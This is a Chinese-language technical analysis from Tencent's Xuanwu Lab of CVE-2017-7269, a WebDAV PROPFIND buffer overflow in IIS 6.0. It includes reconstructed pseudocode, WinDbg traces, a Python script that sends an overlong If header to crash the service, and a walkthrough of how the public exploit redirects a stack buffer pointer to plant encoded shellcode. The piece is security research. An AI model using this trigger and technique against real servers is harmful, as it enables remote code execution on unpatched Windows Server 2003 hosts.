來源:玄武實驗室
作者: Ke Liu of Tencent’s Xuanwu Lab
1. 漏洞簡介
1.1 漏洞簡介
2017年3月27日,來自華南理工大學的 Zhiniang Peng 和 Chen Wu 在 GitHub [1] 上公開了一份 IIS 6.0 的漏洞利用代碼,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻擊活動。
該漏洞的編號為 CVE-2017-7269 [2],由惡意的 PROPFIND 請求所引起:當 If 字段包含形如 <http://localhost/xxxx> 的超長URL時,可導致緩沖區溢出(包括棧溢出和堆溢出)。
微軟從 2015 年 7 月 14 日開始停止對 Windows Server 2003 的支持,所以這個漏洞也沒有官方補丁,0patch [3] 提供了一個臨時的解決方案。
無獨有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,筆者分析后確認其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且兩個 Exploit 的寫法如出一轍,有理由認為兩者出自同一團隊之手:
- 兩個 Exploit 的結構基本一致;
- 都將 Payload 數據填充到地址
0x680312c0; - 都基于
KiFastSystemCall / NtProtectVirtualMemory繞過 DEP;
本文以 3 月份公布的 Exploit 為基礎,詳細分析該漏洞的基本原理和利用技巧。
1.2 原理概述
CStackBuffer既可以將棧設置為存儲區(少量數據)、也可以將堆設置為存儲區(大量數據);- 為
CStackBuffer分配存儲空間時,誤將 字符數 當做 字節數 使用,此為漏洞的根本原因; - 因為棧上存在
cookie,不能直接覆蓋返回地址; - 觸發溢出時,改寫
CStackBuffer對象的內存,使之使用地址0x680312c0作為存儲區; - 將 Payload 數據填充到
0x680312c0; - 程序存在另一處類似的漏洞,同理溢出后覆蓋了棧上的一個指針使之指向
0x680313c0; 0x680313c0將被當做一個對象的起始地址,調用虛函數時將接管控制權;- 基于
SharedUserData調用KiFastSystemCall繞過 DEP; - URL 會從 UTF-8 轉為 UNICODE 形式;
- Shellcode 使用 Alphanumeric 形式編碼(UNICODE);
2. 漏洞原理
2.1 環境配置
在 Windows Server 2003 R2 Standard Edition SP2 上安裝 IIS 并為其啟用 WebDAV 特性即可。

修改 Exploit 的目標地址,執行后可以看到 svchost.exe 啟動 w3wp.exe 子進程,后者以 NETWORK SERVICE 的身份啟動了 calc.exe 進程 。

2.2 初步調試
首先,為進程 w3wp.exe 啟用 PageHeap 選項;其次,修改 Exploit 的代碼,去掉其中的 Shellcode,使之僅發送超長字符串。
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.75.134',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='A'*10240
pay+='>\r\n\r\n'
sock.send(pay)
執行之后 IIS 服務器上會啟動 w3wp.exe 進程(并不會崩潰),此時將 WinDbg 附加到該進程并再次執行測試代碼,即可在調試器中捕獲到 first chance 異常,可以得到以下信息:
- 在
httpext!ScStoragePathFromUrl+0x360處復制內存時產生了堆溢出; - 溢出的內容和大小看起來是可控的;
- 被溢出的堆塊在
httpext!HrCheckIfHeader+0x0000013c處分配; - 崩潰所在位置也是從函數
httpext!HrCheckIfHeader執行過來的; - 進程帶有異常處理,因此不會崩潰;
$$ 捕獲 First Chance 異常
0:020> g
(e74.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000
eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:006> r ecx
ecx=00000a06
0:006> db esi
0781a7e4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a7f4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a804 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a814 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a824 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a834 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a844 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a854 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
$$ 目標堆塊分配調用棧
0:006> !heap -p -a edi
address 07821000 found in
_DPH_HEAP_ROOT @ 7021000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7023680: 781e7d8 2828 - 781e000 4000
7c83d97a ntdll!RtlAllocateHeap+0x00000e9f
5b7e1a40 staxmem!MpHeapAlloc+0x000000f3
5b7e1308 staxmem!ExchMHeapAlloc+0x00000015
67125df9 httpext!CHeap::Alloc+0x00000017
67125ee1 httpext!ExAlloc+0x00000008
67125462 httpext!HrCheckIfHeader+0x0000013c
6712561e httpext!HrCheckStateHeaders+0x00000010
6711f659 httpext!CPropFindRequest::Execute+0x000000f0
6711f7c5 httpext!DAVPropFind+0x00000047
$$ ......
$$ 調用棧
0:006> k
ChildEBP RetAddr
03fef798 67119469 httpext!ScStoragePathFromUrl+0x360
03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18
03fefc34 6712561e httpext!HrCheckIfHeader+0x15e
03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10
03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0
03fefc90 671296f2 httpext!DAVPropFind+0x47
$$ ......
$$ 異常可以被處理,因此不會崩潰
0:006> g
(e74.e80): C++ EH exception - code e06d7363 (first chance)
2.3 CStackBuffer
崩潰所在模塊 httpext.dll 會多次使用一個名為 CStackBuffer 的模板,筆者寫了一份類似的代碼,以輔助對漏洞原理的理解。為了簡單起見,默認存儲類型為 unsigned char,因此省略了模板參數 typename T。
CStackBuffer 的相關特性如下:
- 默認使用棧作為存儲空間,大小由模板參數
SIZE決定; - 通過
resize可以將堆設置為存儲空間; - 通過
fake_heap_size的最低位標識存儲空間的類型; - 通過
release釋放存儲空間; - 對象的內存布局依次為:棧存儲空間、堆塊大小成員、存儲空間指針;
CStackBuffer 的源碼如下:
template<unsigned int SIZE>
class CStackBuffer
{
public:
CStackBuffer(unsigned int size)
{
fake_heap_size = 0;
heap_buffer = NULL;
resize(size);
}
unsigned char* resize(unsigned int size)
{
if (size <= SIZE)
{
size = SIZE;
}
if (fake_heap_size >> 2 < size)
{
if (fake_heap_size & 1 || size > SIZE)
{
release();
heap_buffer = (unsigned char*)malloc(size);
fake_heap_size |= 1;
}
else
{
heap_buffer = buffer;
}
fake_heap_size = (4 * size) | (fake_heap_size & 3);
}
fake_heap_size |= 2;
return heap_buffer;
}
void release()
{
if (fake_heap_size & 1)
{
free(heap_buffer);
heap_buffer = NULL;
}
}
unsigned char* get()
{
return heap_buffer;
}
unsigned int getFakeSize()
{
return fake_heap_size;
}
private:
unsigned char buffer[SIZE];
unsigned int fake_heap_size;
unsigned char* heap_buffer;
};
2.4 漏洞調試
根據之前的簡單分析,可知 HrCheckIfHeader 是一個關鍵函數,因為:
- 目標堆塊是在這個函數中動態分配的;
- 從這里可以執行到觸發異常的函數
ScStoragePathFromUrl;
函數 HrCheckIfHeader 簡化后的偽代碼如下所示:
int HrCheckIfHeader(CMethUtil *pMethUtil)
{
CStackBuffer<260> buffer1;
LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1);
IFILTER ifilter(lpIfHeader);
LPWSTR lpToken = ifilter->PszNextToken(0);
while (1)
{
// <http://xxxxx>
if (lpToken)
{
CStackBuffer<260> buffer2;
// http://xxxx>
LPWSTR lpHttpUrl = lpToken + 1;
size_t length = wcslen(lpHttpUrl);
if (!buffer2.resize(2*length + 2))
{
buffer2.release();
return 0x8007000E;
}
// 將 URL 規范化后存入 buffer2
// length = wcslen(lpHttpUrl) + 1
// eax = 0
int res = ScCanonicalizePrefixedURL(
lpHttpUrl, buffer2.get(), &length);
if (!res)
{
length = buffer1.getFakeSize() >> 3;
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
if (buffer1.resize(length))
{
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
}
}
}
}
// ......
}
// ......
}
可以看出這里的關鍵函數為 CMethUtil::ScStoragePathFromUrl,該函數會將請求轉發給 ScStoragePathFromUrl,后者簡化后的偽代碼如下所示:
typedef struct _HSE_UNICODE_URL_MAPEX_INFO {
WCHAR lpszPath[MAX_PATH];
DWORD dwFlags; // The physical path that the virtual root maps to
DWORD cchMatchingPath;// Number of characters in the physical path
DWORD cchMatchingURL; // Number of characters in the URL
DWORD dwReserved1;
DWORD dwReserved2;
} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;
int ScStoragePathFromUrl(
const struct IEcb *iecb,
const wchar_t *buffer2,
wchar_t *buffer1,
unsigned int *length,
struct CVRoot **a5)
{
wchar_t *Str = buffer2;
// 檢查是否為 https://locahost:80/path http://localhost/path
// 返回 /path>
int result = iecb->ScStripAndCheckHttpPrefix(&Str);
if (result < 0 || *Str != '/') return 0x80150101;
int v7 = wcslen(Str);
// c:\inetpub\wwwroot\path
// dwFlags = 0x0201
// cchMatchingPath = 0x12
// cchMatchingURL = 0x00
// result = 0
HSE_UNICODE_URL_MAPEX_INFO mapinfo;
result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
int v36 = result;
if (result < 0) return result;
// L"\x00c:\inetpub\wwwroot"
// n == 0
wchar_t *Str1 = NULL;
int n = iecb->CchGetVirtualRootW(&Str1);
if (n == mapinfo.cchMatchingURL)
{
if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n))
{
goto LABEL_14;
}
}
else if (n + 1 == mapinfo.cchMatchingURL)
{
if (Str[n] == '/' || Str[n] == 0)
{
--mapinfo.cchMatchingURL;
goto LABEL_14;
}
}
v36 = 0x1507F7;
LABEL_14:
if (v36 == 0x1507F7 && a5) // a5 == 0
{
// ......
}
// 0x12
int v16 = mapinfo.cchMatchingPath;
if (mapinfo.cchMatchingPath)
{
// v17 = L"t\aaaaaaaAAA...."
wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16;
if (*v17 == '\\')
{
// ......
}
else if (!*v17)
{
// ......
}
}
// v7 = wcslen(/path>)
int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
int v19 = *length < v18;
if (v19)
{
*length = v18;
if (a5)
{
// ......
}
result = 1;
}
else
{
int v24 = (2*mapinfo.cchMatchingPath >> 2);
qmemcpy(
buffer1,
mapinfo.lpszPath,
4 * v24);
LOBYTE(v24) = 2*mapinfo.cchMatchingPath;
qmemcpy(
&buffer1[2 * v24],
(char*)mapinfo.lpszPath + 4 * v24,
v24 & 3);
qmemcpy(
&buffer1[mapinfo.cchMatchingPath],
&Str[mapinfo.cchMatchingURL],
2 * (v7 - mapinfo.cchMatchingURL) + 2);
for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2)
{
if (*p == '/') *p = '\\';
}
*length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1;
result = v36;
}
return result;
}
函數 HrCheckIfHeader 會調用 ScStoragePathFromUrl 兩次,在第一次調用 ScStoragePathFromUrl 時,會執行如下的關鍵代碼:
{
wchar_t *Str = buffer2;
// 返回 /path>
int result = iecb->ScStripAndCheckHttpPrefix(&Str);
int v7 = wcslen(Str);
HSE_UNICODE_URL_MAPEX_INFO mapinfo;
result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
// 0x12 L"c:\inetpub\wwwroot"
int v16 = mapinfo.cchMatchingPath;
// v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c
int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
int v19 = *length < v18;
if (v19)
{
*length = v18;
if (a5)
{
// ......
}
result = 1;
}
return result;
}
這里得到 v18 的值為 0x281c,而 *length 的值由參數傳遞,實際由 CStackBuffer::resize 計算得到,最終的值為 0x82,計算公式為:
fake_heap_size = 0;
size = 260;
fake_heap_size = (4 * size) | (fake_heap_size & 3);
fake_heap_size |= 2;
length = fake_heap_size >> 3;
顯然有 0x82 < 0x281c,所以函數 ScStoragePathFromUrl 將 *length 填充為 0x281c 并返回 1。實際上,這個值代表的是真實物理路徑的字符個數。
0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 ('>') + 1 ('\0')
在 HrCheckIfHeader 第二次調用 ScStoragePathFromUrl 之前,將根據 length 的值設置 CStackBuffer 緩沖區的大小。然而,這里設置的大小是字符個數,并不是字節數,所以第二次調用 ScStoragePathFromUrl 時會導致緩沖區溢出。實際上,調用 CStackBuffer::resize 的位置就是 httpext!HrCheckIfHeader+0x0000013c,也就是堆溢出發生時通過 !heap -p -a edi 命令得到的棧幀。
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
if (buffer1.resize(length)) // httpext!HrCheckIfHeader+0x0000013c
{
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
}
}
小結:
- 函數
ScStoragePathFromUrl負責將 URL 請求中的文件路徑轉換為實際的物理路徑,函數的名字也印證了這一猜想; - 第一次調用此函數時,由于緩沖區大小不夠,返回實際物理路徑的字符個數;
- 第二次調用此函數之前先調整緩沖區的大小;
- 由于緩沖區的大小設置成了字符個數,而不是字節數,因此導致緩沖區溢出;
- 兩次調用同一個 API 很符合微軟的風格(第一次得到所需的空間大小,調整緩沖區大小后再次調用);
3. 漏洞利用
3.1 URL 解碼
在函數 HrCheckIfHeader 中,首先調用 CRequest::LpwszGetHeader 來獲取 HTTP 頭中的特定字段的值,該函數簡化后的偽代碼如下所示:
int CRequest::LpwszGetHeader(const char *tag, int a3)
{
// 查找緩存
int res = CHeaderCache<unsigned short>::LpszGetHeader(
(char *)this + 56, tag);
if (res) return res;
// 獲取值
char *pszHeader = this->LpszGetHeader(tag);
if (!pszHeader) return 0;
int nHeaderChars = strlen(pszHeader);
CStackBuffer<tagPROPVARIANT, 64> stackbuffer(64);
if (!stackbuffer.resize(2 * nHeaderChars + 2))
{
// _CxxThrowException(...);
}
// 調用 ScConvertToWide 進行轉換
int v11 = nHeaderChars + 1;
char* language = this->LpszGetHeader("Accept-Language");
int v7 = ScConvertToWide(pszHeader, &v11,
stackbuffer.get(), language, a3);
if ( v7 ) // _CxxThrowException(...);
// 設置緩存
res = CHeaderCache<unsigned short>::SetHeader(
tag, stackbuffer.get(), 0);
stackbuffer.release();
return res;
}
可以看出這里通過 CHeaderCache 建立緩存機制,此外獲取到的值會通過調用 ScConvertToWide 來進行轉換操作。事實上,ScConvertToWide 會調用 MultiByteToWideChar 對字符串進行轉換。
MultiByteToWideChar(
CP_UTF8,
0,
pszHeader,
strlen(pszHeader) + 1,
lpWideCharStr,
strlen(pszHeader) + 1);
由于存在編碼轉換操作,Exploit 中的 Payload 需要先進行編碼,這樣才能保證解碼后得到正常的 Payload。字符串轉換的調試日志如下所示:
0:007> p
eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6
eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScConvertToWide+0x150:
6712721f ffd7 call edi {kernel32!MultiByteToWideChar (77e62fd6)}
$$ 調用 MultiByteToWideChar 時的參數
0:007> dds esp L6
03fef5b0 0000fde9 $$ CP_UTF8
03fef5b4 00000000 $$ 0
03fef5b8 077f59a8 $$ pszHeader
03fef5bc 00000655 $$ strlen(pszHeader) + 1
03fef5c0 077f3350 $$ lpWideCharStr
03fef5c4 00000655 $$ strlen(pszHeader) + 1
$$ 轉換前的字符串
0:007> db 077f59a8
077f59a8 3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73 <http://localhos
077f59b8 74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7 t/aaaaaaa.......
077f59c8 9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad ................
077f59d8 b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3 ................
077f59e8 e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6 ................
077f59f8 9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90 ................
077f5a08 b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5 ................
077f5a18 e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5 ................
0:007> p
eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6
eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScConvertToWide+0x152:
67127221 85c0 test eax,eax
$$ 轉換后的字符串
0:007> db 077f3350
077f3350 3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00 <.h.t.t.p.:././.
077f3360 6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00 l.o.c.a.l.h.o.s.
077f3370 74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00 t./.a.a.a.a.a.a.
077f3380 61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a a.hocxaw3q6irG9z
077f3390 77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68 wKpOSuOzhHcVTmEh
077f33a0 53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69 S9lPgUcgd30FExRi
077f33b0 31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36 1TXLQjAr1B5pPXd6
077f33c0 47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32 Gl95jT4PCTRwaP22
3.2 棧溢出
根據前面的分析,可以知道當字符串超長時是可以導致堆溢出的,但問題是堆塊的基地址并不是固定的。實際上,當 CStackBuffer 使用棧作為存儲空間時,也可以觸發棧溢出,原理和堆溢出是一樣的。
當然,這里不是通過棧溢出來執行代碼,因為棧上有 cookie。
.text:671255F5 mov large fs:0, ecx
.text:671255FC mov ecx, [ebp+var_10]
.text:671255FF pop ebx
.text:67125600 call @__security_check_cookie@4
.text:67125605 leave
.text:67125606 retn 8
.text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp
在函數 HrCheckIfHeader 中存在兩個 CStackBuffer 實例:
char c_stack_buffer_1; // [sp+44h] [bp-430h]@1
unsigned int v29; // [sp+148h] [bp-32Ch]@9
wchar_t *stack_buffer1; // [sp+14Ch] [bp-328h]@9
char c_stack_buffer_2; // [sp+150h] [bp-324h]@7
unsigned __int16 *stack_buffer2; // [sp+258h] [bp-21Ch]@8
基于前面對 CStackBuffer 內存布局的分析,可以知道這里棧空間的分布為:
┌─────────────────────────┐
│ 2.heap_buffer│ ebp-21C
├─────────────────────────┤
│ 2.fake_heap_size│ ebp-220
├─────────────────────────┤
│CStackBuffer2.buffer[260]│ ebp-324
├─────────────────────────┤
│ 1.heap_buffer│ ebp-328
├─────────────────────────┤
│ 1.fake_heap_size│ ebp-32C
├─────────────────────────┤
│CStackBuffer1.buffer[260]│ ebp-430
└─────────────────────────┘
下面要重點分析的代碼片段為:
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length); // (1)
if (res == 1)
{
if (buffer1.resize(length)) // (2)
{
res = pMethUtil->ScStoragePathFromUrl( // (3)
buffer2.get(), buffer1.get(), &length);
}
}
(1) HrCheckIfHeader 第一次調用 ScStoragePathFromUrl 時傳遞的參數分析如下(函數返回值為 1,長度設置為 0xaa):
0:006> dds esp L3
03faf7b4 077d8eb0 $$ http://localhost/aaaaaaa....
03faf7b8 03faf804 $$ CStackBuffer1.buffer
03faf7bc 03faf800 $$ 00000082
0:006> dd 03faf800 L1
03faf800
0:006> db 077d8eb0
077d8eb0 68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00 h.t.t.p.:././.l.
077d8ec0 6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00 o.c.a.l.h.o.s.t.
077d8ed0 2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 /.a.a.a.a.a.a.a.
077d8ee0 68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b hocxaw3q6irG9zwK
077d8ef0 70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39 pOSuOzhHcVTmEhS9
077d8f00 6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54 lPgUcgd30FExRi1T
077d8f10 58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c XLQjAr1B5pPXd6Gl
077d8f20 39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d 95jT4PCTRwaP22Km
077d8f30 34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52 4lG2AbM7aQbXsGPR
077d8f40 70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e p6Dujht3JNkxvIsN
077d8f50 6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52 jLzWqoJX02n7IKMR
077d8f60 63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50 cHLoVuuuofhvMDpP
077d8f70 36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76 6zKbWePurjkzbwXv
077d8f80 48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35 Hb1eT0ylJPbT3Pw5
077d8f90 77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65 wjDA43vdFMTVlGCe
077d8fa0 32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54 2vxriW8Crb0Z8YHT
077d8fb0 02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c .......hDlVR7Kml
077d8fc0 58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66 XOZXPyjIOXRJPAMf
077d8fd0 c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43 ...h4H1eCofnAtlC
077d8fe0 c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42 ...hCSAjRp03fXLB
077d8ff0 4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00 KpFcsQAyPzlJ>...
077d9000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
(2) 因為 ScStoragePathFromUrl 返回 0xaa,所以 buffer1.resize(0xaa) 并不會在堆上分配空間,而是直接使用棧上的 buffer。
(3) 第二次調用 ScStoragePathFromUrl 時會導致棧溢出,實際結果是 CStackBuffer1.fake_heap_size 被改寫為 0x02020202、CStackBuffer1.heap_buffer 被改寫為 0x680312c0。
0:006> dds esp L3
03faf7b4 077d8eb0 $$ http://localhost/aaaaaaa....
03faf7b8 03faf804 $$ CStackBuffer1.buffer
03faf7bc 03faf800 $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2
$$ 留意最后面 2 個 DWORD 的值
0:006> db ebp-430 L10C
03faf804 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03faf814 c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03 .YU.........`...
03faf824 fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c .....d......p..|
03faf834 a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00 .n.|.....n.|....
03faf844 01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00 ........#..|....
03faf854 c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a ..{..........]..
03faf864 6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00 l......`...`....
03faf874 9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00 ...`4...3.......
03faf884 8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00 ...`R#.`".......
03faf894 00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00 ................
03faf8a4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03faf8b4 f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00 .g.w............
03faf8c4 00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77 ........ ...J..w
03faf8d4 85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77 ....O...[ .g\..w
03faf8e4 5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67 [ .g.r.wO...[ .g
03faf8f4 13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07 ....X........d..
03faf904 c0 17 bf 77 12 04 00 00-04 f8 fa 03 ...w........
^^^^^^^^^^^ ~~~~~~~~~~~
0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0 mov esi,eax
$$ 留意最后面 2 個 DWORD 的值
0:006> db ebp-430 L10C
03faf804 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p.
03faf814 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o.
03faf824 6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00 o.t.\.a.a.a.a.a.
03faf834 61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47 a.a.hocxaw3q6irG
03faf844 39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d 9zwKpOSuOzhHcVTm
03faf854 45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78 EhS9lPgUcgd30FEx
03faf864 52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58 Ri1TXLQjAr1B5pPX
03faf874 64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50 d6Gl95jT4PCTRwaP
03faf884 32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58 22Km4lG2AbM7aQbX
03faf894 73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78 sGPRp6Dujht3JNkx
03faf8a4 76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37 vIsNjLzWqoJX02n7
03faf8b4 49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76 IKMRcHLoVuuuofhv
03faf8c4 4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a MDpP6zKbWePurjkz
03faf8d4 62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54 bwXvHb1eT0ylJPbT
03faf8e4 33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56 3Pw5wjDA43vdFMTV
03faf8f4 6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a lGCe2vxriW8Crb0Z
03faf904 38 59 48 54 02 02 02 02-c0 12 03 68 8YHT.......h
^^^^^^^^^^^ ~~~~~~~~~~~
3.3 填充數據
通過!address 命令可知地址 0x680312c0 位于 rsaenh 模塊中,具備 PAGE_READWRITE 屬性。
0:006> !address 680312c0
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68030000
End Address: 68032000
Region Size: 00002000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
More info: lmv m rsaenh
More info: !lmi rsaenh
More info: ln 0x680312c0
0:006> u 680312c0 L1
rsaenh!g_pfnFree+0x4:
680312c0 0000 add byte ptr [eax],al
在解析 http://localhost/bbbbbbb...... 時,數據將被直接填充到地址 0x680312c0。此時,由于 CStackBuffer1 的長度已經 足夠大,ScStoragePathFromUrl 只會被調用一次。
$$ ScStoragePathFromUrl 參數
0:006> dds esp L3
03faf7b4 077dc9e0
03faf7b8 680312c0 rsaenh!g_pfnFree+0x4
03faf7bc 03faf800
0:006> dd 03faf800 L1
03faf800 00404040
0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2
eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x124:
6712544a 8bf0 mov esi,eax
$$ 填充數據到 0x680312c0
0:006> db 680312c0
680312c0 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p.
680312d0 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o.
680312e0 6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00 o.t.\.b.b.b.b.b.
680312f0 62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48 b.b.HyuaCOgookEH
68031300 46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56 F6ug3Dq8eWbZ5TaV
